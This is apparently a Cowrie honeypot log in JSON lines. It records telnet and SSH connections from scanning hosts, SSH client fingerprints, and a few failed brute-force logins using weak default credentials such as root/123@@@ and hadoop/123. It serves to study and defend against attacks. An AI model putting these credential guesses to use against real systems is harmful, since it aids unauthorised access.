{"eventid":"cowrie.session.closed","duration":31.26913022994995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:58.764278Z","src_ip":"34.125.158.14","session":"0834640ee809","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":59642,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9eabbce8b27","protocol":"telnet","message":"New connection: 66.113.160.81:59642 (159.203.135.109:23) [session: f9eabbce8b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:59.311899Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.129.70","src_port":33164,"dst_ip":"159.203.135.109","dst_port":23,"session":"db36bb39530f","protocol":"telnet","message":"New connection: 172.104.129.70:33164 (159.203.135.109:23) [session: db36bb39530f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:59.331497Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":41512,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfcf8b4bc241","protocol":"telnet","message":"New connection: 69.60.120.238:41512 (159.203.135.109:23) [session: dfcf8b4bc241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:59.384404Z"}
{"eventid":"cowrie.session.closed","duration":30.860799074172974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:00.014185Z","src_ip":"157.250.199.120","session":"f7baf5bec83d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34680,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdab63f53e7b","protocol":"ssh","message":"New connection: 192.109.200.78:34680 (10.17.0.5:22) [session: fdab63f53e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:00.104094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:00.110911Z","src_ip":"192.109.200.78","session":"fdab63f53e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.101479291915894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:00.132541Z","src_ip":"137.184.59.230","session":"52574c50932c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.59.230","src_port":60470,"dst_ip":"159.203.135.109","dst_port":23,"session":"37dc4725872a","protocol":"telnet","message":"New connection: 137.184.59.230:60470 (159.203.135.109:23) [session: 37dc4725872a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:00.189539Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:00.217440Z","src_ip":"192.109.200.78","session":"fdab63f53e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.97847867012024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:00.263759Z","src_ip":"34.125.158.14","session":"1f03b1e22d89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87593674659729,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:00.538052Z","src_ip":"172.104.129.70","session":"19dfbcf6f41e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37618613243103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:00.569383Z","src_ip":"185.216.203.48","session":"aea2d9ac8938","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:00.710644Z","src_ip":"192.109.200.78","session":"fdab63f53e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.67478370666504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:01.592089Z","src_ip":"172.104.129.70","session":"6d4480bf2609","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":60998,"dst_ip":"159.203.135.109","dst_port":23,"session":"b13bb83cf601","protocol":"telnet","message":"New connection: 66.113.160.81:60998 (159.203.135.109:23) [session: b13bb83cf601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:01.741354Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:01.798423Z","src_ip":"192.109.200.78","session":"fdab63f53e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.05651569366455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:02.070158Z","src_ip":"157.250.199.120","session":"9b6de812d493","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":41558,"dst_ip":"159.203.135.109","dst_port":23,"session":"f738bde57e1f","protocol":"telnet","message":"New connection: 157.250.199.120:41558 (159.203.135.109:23) [session: f738bde57e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:03.036188Z"}
{"eventid":"cowrie.session.closed","duration":30.937201499938965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:03.078144Z","src_ip":"69.60.120.238","session":"15d85820c8c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02775502204895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:03.121258Z","src_ip":"34.125.158.14","session":"b21e7fa8f07d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":33650,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a13b6eb28d4","protocol":"telnet","message":"New connection: 66.113.160.81:33650 (159.203.135.109:23) [session: 7a13b6eb28d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:03.160265Z"}
{"eventid":"cowrie.session.closed","duration":30.89781403541565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:03.170655Z","src_ip":"34.125.158.14","session":"e6fd9451d212","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.175.50","src_port":32926,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f5d9b4f18ce","protocol":"telnet","message":"New connection: 31.186.175.50:32926 (159.203.135.109:23) [session: 5f5d9b4f18ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:03.487768Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":41562,"dst_ip":"159.203.135.109","dst_port":23,"session":"3adf17f0d240","protocol":"telnet","message":"New connection: 157.250.199.120:41562 (159.203.135.109:23) [session: 3adf17f0d240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:04.076068Z"}
{"eventid":"cowrie.session.closed","duration":30.636515378952026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:04.178930Z","src_ip":"103.176.85.233","session":"4bf0220688ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34692,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b189b8261fc","protocol":"ssh","message":"New connection: 192.109.200.78:34692 (10.17.0.5:22) [session: 4b189b8261fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:04.466649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:04.471687Z","src_ip":"192.109.200.78","session":"4b189b8261fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:04.554345Z","src_ip":"192.109.200.78","session":"4b189b8261fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:04.810856Z","src_ip":"192.109.200.78","session":"4b189b8261fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.049835443496704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:05.071112Z","src_ip":"157.250.199.120","session":"875d7c1f35da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999139070510864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:05.223730Z","src_ip":"34.125.158.14","session":"46ec855330f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.114.58","src_port":32954,"dst_ip":"159.203.135.109","dst_port":23,"session":"5347e88a7c9f","protocol":"telnet","message":"New connection: 62.210.114.58:32954 (159.203.135.109:23) [session: 5347e88a7c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:05.227436Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.114.58","src_port":32956,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a0ae2211724","protocol":"telnet","message":"New connection: 62.210.114.58:32956 (159.203.135.109:23) [session: 8a0ae2211724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:05.233931Z"}
{"eventid":"cowrie.session.closed","duration":31.155140161514282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:05.439116Z","src_ip":"34.125.158.14","session":"7fba475c16dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":41574,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e3a97a7e1e3","protocol":"telnet","message":"New connection: 157.250.199.120:41574 (159.203.135.109:23) [session: 0e3a97a7e1e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:05.562480Z"}
{"eventid":"cowrie.session.closed","duration":29.90834927558899,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:06.064948Z","src_ip":"128.136.227.204","session":"d3899fc33fa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:06.197611Z","src_ip":"192.109.200.78","session":"4b189b8261fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":35312,"dst_ip":"159.203.135.109","dst_port":23,"session":"91f3cb3bd4e1","protocol":"telnet","message":"New connection: 66.113.160.81:35312 (159.203.135.109:23) [session: 91f3cb3bd4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:06.224462Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.114.58","src_port":32966,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6026ed372b8","protocol":"telnet","message":"New connection: 62.210.114.58:32966 (159.203.135.109:23) [session: b6026ed372b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:06.235702Z"}
{"eventid":"cowrie.session.closed","duration":30.868335485458374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:06.240752Z","src_ip":"34.125.158.14","session":"138c68d3b316","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.092869997024536,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:06.280921Z","src_ip":"34.125.158.14","session":"8976b86daabb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":34138,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e4b6976ba94","protocol":"telnet","message":"New connection: 103.176.85.233:34138 (159.203.135.109:23) [session: 5e4b6976ba94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:06.484901Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":35548,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb771033ae60","protocol":"telnet","message":"New connection: 66.113.160.81:35548 (159.203.135.109:23) [session: eb771033ae60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:06.762401Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":35640,"dst_ip":"159.203.135.109","dst_port":23,"session":"653b54606345","protocol":"telnet","message":"New connection: 66.113.160.81:35640 (159.203.135.109:23) [session: 653b54606345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:06.944741Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":36124,"dst_ip":"159.203.135.109","dst_port":23,"session":"f02a7639c3d8","protocol":"telnet","message":"New connection: 66.113.160.81:36124 (159.203.135.109:23) [session: f02a7639c3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:07.763719Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.129.70","src_port":34398,"dst_ip":"159.203.135.109","dst_port":23,"session":"249ceb3249ce","protocol":"telnet","message":"New connection: 172.104.129.70:34398 (159.203.135.109:23) [session: 249ceb3249ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:07.838187Z"}
{"eventid":"cowrie.session.closed","duration":31.01621961593628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:08.070990Z","src_ip":"157.250.199.120","session":"fba47acd395e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03016424179077,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:08.319447Z","src_ip":"34.125.158.14","session":"dc6e806fe0ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43814,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e90c3cd311a","protocol":"ssh","message":"New connection: 192.109.200.78:43814 (10.17.0.5:22) [session: 8e90c3cd311a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:08.734699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:08.740011Z","src_ip":"192.109.200.78","session":"8e90c3cd311a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.50.118.97","src_port":57312,"dst_ip":"159.203.135.109","dst_port":23,"session":"06d89003348d","protocol":"telnet","message":"New connection: 49.50.118.97:57312 (159.203.135.109:23) [session: 06d89003348d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:08.744454Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":36654,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd5fcfb4df87","protocol":"telnet","message":"New connection: 66.113.160.81:36654 (159.203.135.109:23) [session: dd5fcfb4df87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:08.799977Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:08.825106Z","src_ip":"192.109.200.78","session":"8e90c3cd311a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:09.093558Z","src_ip":"192.109.200.78","session":"8e90c3cd311a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":36848,"dst_ip":"159.203.135.109","dst_port":23,"session":"c942e9cd17fd","protocol":"telnet","message":"New connection: 66.113.160.81:36848 (159.203.135.109:23) [session: c942e9cd17fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:09.187342Z"}
{"eventid":"cowrie.session.closed","duration":30.817059755325317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:09.680460Z","src_ip":"66.113.160.81","session":"4d7130d6d380","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":37222,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ae22dd83d78","protocol":"telnet","message":"New connection: 66.113.160.81:37222 (159.203.135.109:23) [session: 1ae22dd83d78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:09.960415Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:10.182361Z","src_ip":"192.109.200.78","session":"8e90c3cd311a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":43790,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7643ce4df5a","protocol":"telnet","message":"New connection: 69.60.120.238:43790 (159.203.135.109:23) [session: c7643ce4df5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:10.191773Z"}
{"eventid":"cowrie.session.closed","duration":30.767236709594727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:10.480720Z","src_ip":"172.104.129.70","session":"a3dfd210fbd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.826477766036987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:11.041355Z","src_ip":"69.60.120.238","session":"ac0bd33a331e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.410521507263184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:11.152637Z","src_ip":"62.210.114.58","session":"03da257dec6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":38268,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2c6b2a9a31c","protocol":"telnet","message":"New connection: 66.113.160.81:38268 (159.203.135.109:23) [session: e2c6b2a9a31c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:11.758861Z"}
{"eventid":"cowrie.session.closed","duration":31.64815402030945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:11.934200Z","src_ip":"34.125.158.14","session":"591984b54b82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.984093189239502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:12.013096Z","src_ip":"157.250.199.120","session":"035b5a464ec1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":55624,"dst_ip":"159.203.135.109","dst_port":23,"session":"06fa9fde16a9","protocol":"telnet","message":"New connection: 157.250.199.120:55624 (159.203.135.109:23) [session: 06fa9fde16a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:12.057102Z"}
{"eventid":"cowrie.session.closed","duration":30.58904767036438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:12.123050Z","src_ip":"139.59.95.121","session":"9d62879fcaed","protocol":"telnet"}
